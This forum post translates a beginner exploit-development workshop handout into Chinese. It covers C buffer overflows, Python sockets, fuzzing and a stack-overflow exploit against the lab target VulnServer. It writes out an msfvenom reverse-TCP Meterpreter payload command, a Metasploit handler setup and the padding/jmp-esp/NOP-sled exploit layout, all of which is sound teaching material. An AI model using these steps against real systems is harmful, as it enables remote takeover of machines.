首页
社区
课程
招聘
[翻译]编写你的第一个Exploit
发表于: 2016-11-28 23:25 6518

[翻译]编写你的第一个Exploit

2016-11-28 23:25
6518

编写你的第一个Exploit

1.实验设置
a.虚拟机
i.windows虚拟机
https://developer.microsoft.com/en-us/microsoft-edge/to        ols/vms/

ii.kali虚拟机
https://www.kali.org/downloads/

b.软件安装
i.下载windows虚拟机上的VulnServer
http://www.thegreycorner.com/2010/12/introducing-vulns        erver.html

ii.下载windows虚拟机上的Immunity
http://debugger.immunityinc.com/ID_register.py

iii.下载windows虚拟机上的mona.py
https://github.com/corelan/mona/blob/master/mona.py
下载完成后,放置在例如如下路径下:
C:\ProgramFiles\ImmunityInc\ImmunityDebugger\PyCom        mands

iv.下载windows上的arwin.exe
http://www.fuzzysecurity.com/tutorials/expDev/tools/arwi        n.rar

2.c语言中的缓冲区溢出
a.简单的c程序
1.Printf
printf()函数用来将数据打印到屏幕上,经常会用到替换功能。

printf(“hello”)会在屏幕上输出hello,而下面的语句:
char name[5]=“Rob”
printf(“hello %s”,name)
则会输出hello Rob。

2.Strcpy
strcpy用来将一个字符串拷贝到另一个地方。该函数不会去检查        目的地能否装得下复制源的字符。如果复制源的字符串长度超过        了目的地的容量,那么复制过程依然会进行,同时超出的数据就        会被复制到目的地的后面。

b.缓冲区溢出的例子
simpleoverflow.c

c.函数调用与栈
1.进行了函数调用后的栈会以相同的方式分配同样大小的内存。
        序运行每个函数的本地栈都会以相同得方式创建和销毁。
        存器中找到,这个寄存器被称为EBP。在下面的伪代码中,变量        x的偏移将会是0,因为他是栈中的第一个变量。因此x在栈上的        地址可以用ebp+0来描述。如果我们假设整形是4字节长,那        么接下来的一个变量--字符型,取名为c--的偏移将会是4。同样,        如果字符串的长度为一个字节,那么z的偏移为5。

当一个函数被调用的时候,比如说主函数中的函数f--控制权将会        被转交给函数f,然而主函数依然需要被完成。主函数必须在I1 处        恢复恢复执行。因此,在将控制权交给函数f的时候I1处的地址        和指向main函数本地栈的指针必须被保存下来。如果I1处的地        址没有保存,那么main函数就不能被恢复执行。如果是本地栈        指针没有被保存,那么main函数恢复的时候就不能再访问在调        用函数f之前的数据了。

因为每一个变量是“面向远离”栈的基址的(其实就是栈的增长方式是从高地址向低地址),写入到变量Z中的数据将会向栈基址蔓延。在上图中,比较容易观察溢出Z的内容的后果,Z中超出的数据将会溢出到c和x中。如果有足够的数据被输入进去,那么他甚至可以覆盖掉在函数调用时保存的所有的控制信息。

这就是缓冲区溢出利用的目标。想要将很多的数据输入到一个脆弱变量上,然后导致溢出从而覆盖掉函数的返回地址。一旦我们可以预测到返回地址放置在哪里,我们就可以用一个跳转指令的地址来覆盖原来的返回地址,而这个跳转指令会重定向程序的执行路径,使其在函数g()完成后转而执行我们的payload。我们基本是劫持调用了函数g()的函数的栈来确保我们的payload的执行。

3.python简单socket编程
a.基本脚本结构
i.import
import命令会加载一个库。我们可以使用socket和sys库。

ii.缩进携带语义内容
Python中的制表符与大多数其他编程语言中的大括号一样具有相同的功能:指定要包含在控件结构体中的指令。

b.socket.socket()
语句:
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
创建了一个socket类型的实例,名字叫conn.常量socket.AF_INET 表明这个一个IPv4的套接字。常量socket.SOCK_STREAM 表明她会使用TCP链接。

c.socket.connect()
语句:
conn.connect((“192.168.1.2”, 80))
让之前创建的套接字实例用三次握手的方法去链接一个指定的IP和端口。注意那个IP是一个字符串,而端口号是一个整型.同样要注意双重双括号的设置;connect函数需要一个参数 - 一个有序对。

D.socket.recv()
语句:
Conn.recv(1024)
这将会尝试从套接字中读取1024个字节的数据。这是一个块读取;脚本会一直等待直到1024个字节都被读取了或者是遇到了空字符。

e.写一个横幅抓取器
看bannergrabber.py

4.python中有用的socket编程
a.Sys.argv
一个开发者可以通过使用sys库来从使用者那里获取        命令行参数。Sys.argv[]就是一个从命令行那个获取到        的数据的数组。
如果我运行命令:python print_name.py Rob                 6,sys.argv[0]将会是print_name.py。Sys.argv[1]将会是        Rob,然后sys.argv[2]将会是6.

b.for loops
所有for循环指定循环开始的值,循环终止的值和增        量。 在python中,语法是:
For i in range(0,10):
Print “Hello Rob”
c.socket.settimeout)()
.settimeout()函数允许程序员指定在socket()抛出时间耗尽异常前的最大等待时间。比如:conn.settimeout(5)
d.try/except
i.Syntax
try:
Some code
except:
code to execute on any error
OR
try:
some code
exept socket.timeout:
code to execute on socket timeout error

ii.socket.error
当一个已经链接的套接字收到RST的时候会抛出这个        异常。

iii.socket.timeout
当套接字在等待了一些时间后没有收到任何数据的        话,就会抛出这个异常。

e.写一个端口扫描器
看port-scanner.py

5.Fuzzing
a.socket.send()
.send()函数通过已经连接的套接字传输数据。 到达        目的地以适当地处理该数据。

b.与网络服务进行交互
大多数网络服务命令具有以下语法:
<command> <argument> \ r \ n
例如,通过SMTP指定用户使用user命令:
user rob \ r \ n

c.Fuzzing
Fuzzing是尝试增量更多的恶意输入,直到应用程序崩        溃的过程。 在上面的情况下,可以fuzz SMTP用户命        令通过尝试更长和更长的用户名来引发缓冲区溢出:
for i in range(0,10000,10):
badname=”A”*i
conn.send(“user %s\r\n” % badname)\
这将会尝试长度在0到10000之间,步长为10的        uernames。

d.写一个模糊测试器。
i.我们将在vulnserver上模糊测试RUN命令。 请注        意,当命        令的参数以句点开头时,TRUMP仅易受缓        冲区溢出的影响。

ii.看fuzzer.py

e.在immunity中观察崩溃
当在immunity中观察的时候,你得注意eip值。 这        将指示您的恶意输入的哪部分正在覆盖堆栈上保存        的指令地址。当脆弱的函数返回时,您的恶意输入        将从堆栈中删除,并加载到指令指针,就像它是一        个真正的指令的地址。
6.控制崩溃
a.微调你的崩溃
通常我们需要精确的知道崩溃发生的位置;具体是那        些字节覆        盖了指令地址。然而模糊测试却经常留给我        们一个大致的范围。        为了精确查找这个地址,我们可        以通过从模糊器中删除for循        环并向我们的恶意输入        添加一些区分来微调它。比如,如果你知        道一个70字        节的溢出将会导致崩溃,你可能使用下面的恶意字        符        串:
Badstr=”A”*70+”B”*4+”C”*10
如果你观察到任何的\x41出现在了寄存器里,如此你        就有了太        多的“垃圾”,你可能需要按照如下的方法调        整:
Badtr=”A”*68+”B”*4+”C”*10
如果你观察到任何的\x43值,你又没有足够的“垃圾”,        你可        能得像下面这样调整:
Badstr=”A”*72+”B”*4+”C”*10
这样的目的是微微调整exp,直到你的eip寄存器在崩        溃的时候        读取的值是\x42\x42\x42\x42。这就是在告诉        你赶紧把重定向        用的指令的地址写进去吧。

b.定位跳转指令
这个特定的exploit需要一个跳转指令来将代码的执行过程引导        到栈顶(jmp esp).Immunity Debugger 有一个查找工具可以允        许你查找一些特定的指令。要想使用它,可以通过在反汇编窗口        中右键。
注意,因为现代的计算机有些会采用小端法来存一些非单字节类        型的数据,所以在你找到的任何地址都需要重新排列一下他们的        字节顺序。如果Immunity指示在地址12345678发现了一个跳        转指令,那么你应该按照以下的方式将其插入到你的exploit中:
eip=”\x78\x56\x34\x12”
这些指令可能不会一直都是很容易得到的。Immunity有一个模        块视图工具(可以通过悬停在应用程序顶部的控件上找到),他可以        让你查看应用程序加载了的所有模块。通常,只要这些模块没有        开启ASLR的话,从他们中的任何一个中挑选的跳转指令都是足        够使用的。

ASLR是一种技术,旨在通过在每个程序运行期间将指令加载到        不同的地址来最小化可以利用缓冲区溢出漏洞的程度。 我们可以        通过使用mona.py来确定哪些模块支持ASLR。
在Immunity窗口底部的栏中,键入:
!mona moudles
任何加载的模块不开启ASLR也应该工作。 对于VulnServer,        vulnserver.exe和essfunc.dll同样如此。 然而,Vulnserver.exe        没有任何jmp esp指令。
c.添加NOP底座
在理想情况下,我们将能够以以下方式构造漏洞:
badcmd=garbage+eip+payload
然而,实际上,当发生函数调用时可以保存附加控制数据。 结果,        堆栈指针 - 我们跳转到的地址 - 可能不会指向紧接在保存的指        令地址之前的字节。

要解决这个问题,就只有填充NOP。NOP被汇编为“无操作”        或者是“不作为”。通过在我们的恶意字符串中的跳转地址和有        效载荷之间插入一系列NOP,我们可以保证有效载荷被执行。只        要jmp esp指令将代码执行重定向到任何一个NOP,其余的将        被执行 并且处理器将“滑动”直到它击中有效载荷。

7.完成Exploit
a.生成payload
可以使用以下bash命令生成reverse-tcp meterpreter stager        有效内容。 注意,标志(-b)和该标志(\ x00)的值之间始终        有一个空格。、
msfvenom –p windows/meterpreter/reverse_tcp
        LHOST=<YOURIPHERE> LPORT=8421 –b \x00 –e
        x86/shikata_ga_nai –f python
-p 指示payload将会被编码。
LHOST和LPORT值是meterpreter有效负载的参数。注意:        HOST必须是Kali VM的IP。

-b 引用不能出现在shellcode中的字节。提供的示例,        空        字        节(\ x00)终止套接字读取。如果出现在有效载荷        中,它将终止        有效载荷的套接字读取。这里可能还有        其        他特殊字节。

-e指定有效负载的编码方案。 它会显示为shellcode?                 Powerscript?

-f指定exploit的语言。您将能够简单地复制并粘贴        msfvenom的输出到您的exploit。

一旦生成了有效载荷,它只需要在nop sled之后附加到恶意字符串。 在这一点上,你的恶意字符串的结构应该是:
garbage = "A" * 2006
        eip = "\xAF\x11\x50\x62"
        nop_sled = "\x90" * 24
        buf=””
        buf+=<code omitted for brevity>
badstr=garbage+eip+nopsled+buf+”\r\n”

b.设置handler
在单独的终端选项卡中,我们可以运行命令msfconsole来启动        Metasploit控制台。 一旦Metasploit控制台打开,我们将运行        以下命令序列来启动Meterpreter处理程序:
use multi/handler
        set payload windows/meterpreter/reverse_tcp
        set lhost <yourkaliIP>
        set lport <someport>
        exploit

c.Exploitation
在这一点上,你应该准备好试用你的exploit。 运行你的exploit        脚本后,Meterpreter处理程序应该告诉你你有一个打开的        Meterpreter会话。
看exploit.py

8.写一个自定义的payload(如果时间允许的话)
看custom-payload-calc.py and custom-payload-add-user.py

9.参考

参考列表可以在演讲笔记开头列出的GitHub存储库中找到。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 697
活跃值: (205)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
2
咦,图片没得了。。
2016-11-28 23:26
0
雪    币: 10902
活跃值: (3288)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
3
图片怎么没了呢,上传图片后,要点一下附件 插入附件
2016-11-28 23:44
0
雪    币: 3
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
原文地址:https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20workshops/DEFCON-24-Workshop-Robert-Olson-Writing-Your-First-Exploit.pdf

这是一个面向初学者的实验讲义,实验内容是编写让运行在Windows下的服务程序VulnServer溢出的exploit。翻译的讲义中文版在附件中。文中提到的实验相关代码,在下面的Github repo中。

https://github.com/nerdprof/Writing-Your-First-Exploit
上传的附件:
2016-11-29 11:27
0
游客
登录 | 注册 方可回帖
返回
//